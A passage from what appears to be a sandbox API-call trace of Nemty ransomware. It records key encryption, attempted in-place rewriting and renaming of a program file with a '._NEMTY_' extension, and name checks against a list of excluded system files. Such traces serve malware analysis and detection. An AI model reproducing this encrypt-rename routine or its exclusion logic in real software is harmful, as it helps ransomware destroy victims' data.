lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CircleSubpicture.png", lpUsedDefaultChar=0x0) returned 20 [0088.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0088.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CircleSubpicture.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0088.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CircleSubpicture.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CircleSubpicture.png", lpUsedDefaultChar=0x0) returned 20 [0088.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CircleSubpicture.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0088.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CircleSubpicture.png", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CircleSubpicture.png", lpUsedDefaultChar=0x0) returned 20 [0088.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0088.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0088.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0088.649] Sleep (dwMilliseconds=0x5) [0088.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe87cead0, dwHighDateTime=0x1d561e7)) [0088.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe87cead0, dwHighDateTime=0x1d561e7)) [0088.653] GetLastError () returned 0xb7 [0088.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0088.653] GetLastError () returned 0xb7 [0088.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0088.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0088.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0088.653] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0088.653] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0088.653] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0088.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0088.653] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="rk3O+VqVsclwpGcosPJiZmDAgYqxEpuwq4kuXcWFRG8FCmECdxjh5RbAIBIfr5sK\r\nl/e/FD25IcTqKbO/FIiPkZTuwGyWQ0H8cX2nfCHc63hm92Pdf1iszqqx+8tQmgoD\r\nx973djl4Qgq3uoMfS+WtPAm8L4fae6pldCEBYvVjxT2hdIFDgrEr69wkdHfMLj+g\r\nDe1jGNBejYL/cVR0bYTsa9N0pV0hD7K5uCbylEodiuHm1wSOZqn8Cm8GSGdA7ZFw\r\n6rxuUDnFZBy0WGjs+gZxI+WAP0oRcOC38OW/PDnhosyjpQ9FijnJvKGMs+Hx65Vb\r\nJEJaUhWIZ+mbS7bdOtJ+Xg==\r\n", pcchString=0x653e91c) returned 1 [0088.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0088.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0088.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0088.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0088.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0088.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0088.653] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.653] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0088.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0088.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.711] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.711] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.711] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.720] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.720] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.739] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.739] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.749] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.749] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.761] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.761] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0088.761] CloseHandle (hObject=0xffffffff) returned 0 [0088.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0088.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0088.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0088.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0088.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0088.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0088.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0088.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0088.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0088.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0088.761] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png._nemty_kgobjgd_")) returned 0 [0088.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0088.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0088.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0088.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0088.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0088.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0088.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0088.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0088.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.767] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0088.767] lstrcmpiW (lpString1="GoldRing.png", lpString2=".") returned 1 [0088.767] lstrcmpiW (lpString1="GoldRing.png", lpString2="..") returned 1 [0088.767] lstrcmpiW (lpString1="GoldRing.png", lpString2="...") returned 1 [0088.767] lstrcmpiW (lpString1="GoldRing.png", lpString2="windows") returned -1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="$RECYCLE.BIN") returned 1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="rsa") returned -1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="NTDETECT.COM") returned -1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="ntldr") returned -1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="MSDOS.SYS") returned -1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="IO.SYS") returned -1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="boot.ini") returned 1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="boot.ini") returned 1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="AUTOEXEC.BAT") returned 1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="ntuser.dat") returned -1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="desktop.ini") returned 1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="CONFIG.SYS") returned 1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="RECYCLER") returned -1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="BOOTSECT.BAK") returned 1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="bootmgr") returned 1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="programdata") returned -1 [0088.768] lstrcmpiW (lpString1="GoldRing.png", lpString2="appdata") returned 1 [0088.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GoldRing.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0088.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GoldRing.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GoldRing.png", lpUsedDefaultChar=0x0) returned 12 [0088.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GoldRing.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0088.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GoldRing.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GoldRing.png", lpUsedDefaultChar=0x0) returned 12 [0088.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GoldRing.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0088.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GoldRing.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GoldRing.png", lpUsedDefaultChar=0x0) returned 12 [0088.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GoldRing.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0088.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GoldRing.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GoldRing.png", lpUsedDefaultChar=0x0) returned 12 [0088.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94338 [0088.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0088.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0088.769] Sleep (dwMilliseconds=0x5) [0088.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe88ff5d0, dwHighDateTime=0x1d561e7)) [0088.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe88ff5d0, dwHighDateTime=0x1d561e7)) [0088.777] GetLastError () returned 0x5 [0088.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0088.778] GetLastError () returned 0x5 [0088.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.778] 